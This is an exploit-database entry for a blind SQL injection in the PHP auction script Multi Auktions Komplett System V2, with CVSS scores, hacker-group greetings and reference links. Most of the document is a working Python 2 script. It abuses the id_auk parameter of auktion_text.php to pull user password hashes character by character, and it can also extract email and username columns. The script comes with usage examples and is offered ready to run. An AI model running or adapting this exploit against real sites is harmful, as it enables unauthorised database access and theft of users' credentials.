Multi Auktions Komplett System V2 <= Blind SQL Injection Exploit

2010-04-08 / 2010-04-09
Credit: Easy Laster
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

----------------------------Information------------------------------------------------ +Name : Multi Auktions Komplett System V2 <= Blind SQL Injection Exploit +Autor : Easy Laster +Date : 28.03.2010 +Script : Multi Auktions Komplett System V2 +Download : ------------------ +Demo : http://phpspezial.de/multi-auktion-3/ +Price : 899.90&#65533;+Language : PHP +Discovered by Easy Laster +Security Group 4004-Security-Project +Greetz to Team-Internet ,Underground Agents +And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok, Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge, N00bor,Ic3Drag0n,novaca!ne. --------------------------------------------------------------------------------------- ___ ___ ___ ___ _ _ _____ _ _ | | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_ |_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _| |_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_| |___| |___| ---------------------------------------------------------------------------------------- +Vulnerability : http://www.site.com/multiauktionV3/auktion_text.php?id_auk= #password +Exploitable : http://www.site.com/multiauktionV3/auktion_text.php?id_auk=1+and+1=1+and+ ascii(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1 ----------------------------------------------------------------------------------------- #Exploit #!/usr/bin/env python #-*- coding:utf-8 -*- import sys, urllib2, getopt def out(str): sys.stdout.write(str) sys.stdout.flush() def read_url(url): while True: try: src = urllib2.urlopen(url).read() break except: pass return src class Exploit: charset = "0123456789abcdefABCDEF" url = "" charn = 1 id = 1 table_prefix = "" table_field = "" passwd = "" columns = [] find_passwd = True def __init__(self): if len(sys.argv) < 2: print "*****************************************************************************" print "*******Multi Auktions Komplett System V2 <= Blind SQL Injection Exploit******" print "*****************************************************************************" print "* Discovered and vulnerability by Easy Laster *" print "* coded by Dr.ChAoS *" print "*****************************************************************************" print "* Usage: *" print "* python exploit.py [OPTION...] [SWITCH...] <url> *" print "* *" print "* Example: *" print "* *" print "* Get the password of the user with id 2: *" print "* python exploit.py --id 2 http://site.de/path/ *" print "* *" print "* Get email, username and password of id 1: *" print "* python exploit.py --columns 80:1:email,25:5:username http://site.de/ *" print "* *" print "* Switches: *" print "* --nopw Search no password *" print "* *" print "* Options: *" print "* --id <user id> User id *" print "* --prefix <table prefix> Table prefix of ECP *" print "* --charn <1 - 32, default = 1> Start at position x *" print "* --columns <max_chars:charn:column,...> Get value of any column you want *" print "*****************************************************************************" exit() opts, switches = getopt.getopt(sys.argv[1:], "", ["id=", "prefix=", "charn=", "columns=", "nopw"]) for opt in opts: if opt[0] == "--id": self.id = int(opt[1]) elif opt[0] == "--prefix": self.table_prefix = opt[1] elif opt[0] == "--charn": self.charn = int(opt[1]) elif opt[0] == "--columns": for col in opt[1].split(","): max, charx, name = col.split(":") self.columns.append([int(max), int(charx), name, ""]) elif opt[0] == "--nopw": self.find_passwd = False for switch in switches: if switch[:4] == "http": if switch[-1:] == "/": self.url = switch else: self.url = switch + "/" def generate_url(self, ascii): return self.url + "auktion_text.php?id_auk=1+and+1=1+and+ascii(substring((SELECT%20" + self.table_field + "%20FROM%20" + self.table_prefix + "fh_user+WHERE+iduser=" + str(self.id) + "%20LIMIT%200,1)," + str(self.charn) + ",1))%3E" + str(ord(ascii)) def start(self): print "Exploiting..." if self.find_passwd: charx = self.charn self.password() if len(self.columns) > 0: self.read_columns() print "All finished!\n" print "------ Results ------" if len(self.columns) > 0: for v in self.columns: print "Column \"" + v[2] + "\": " + v[3] if self.find_passwd: if len(self.passwd) == 32 - charx + 1: print "Password: " + self.passwd else: print "Password not found!" print "--------------------" def read_columns(self): end = False charrange = [0] charrange.extend(range(32, 256)) for i in range(len(self.columns)): out("Getting value of \"" + self.columns[i][2] + "\": ") self.table_field = self.columns[i][2] self.charn = self.columns[i][1] for pwc in range(self.charn, self.columns[i][0] + 1): if end == True: break self.charn = pwc end = False for c in charrange: src = read_url(self.generate_url(chr(c))) if "Test" not in src: if c == 0: end = True else: self.columns[i][3] += chr(c) out(chr(c)) break out("\n") def password(self): out("Getting password: ") self.table_field = "password" for pwc in range(self.charn, 33): self.charn = pwc for c in self.charset: src = read_url(self.generate_url(c)) if "Test" not in src: self.passwd += c out(c) break out("\n") exploit = Exploit() exploit.start()

References:

http://xforce.iss.net/xforce/xfdb/56935
http://www.securityfocus.com/bid/38793
http://www.osvdb.org/63048
http://www.exploit-db.com/exploits/11776
http://secunia.com/advisories/38971
http://packetstormsecurity.org/1003-exploits/multiauktions-sql.txt
http://4004securityproject.wordpress.com/2010/03/16/phpscripte24-auktionshaus-community-standart-system/


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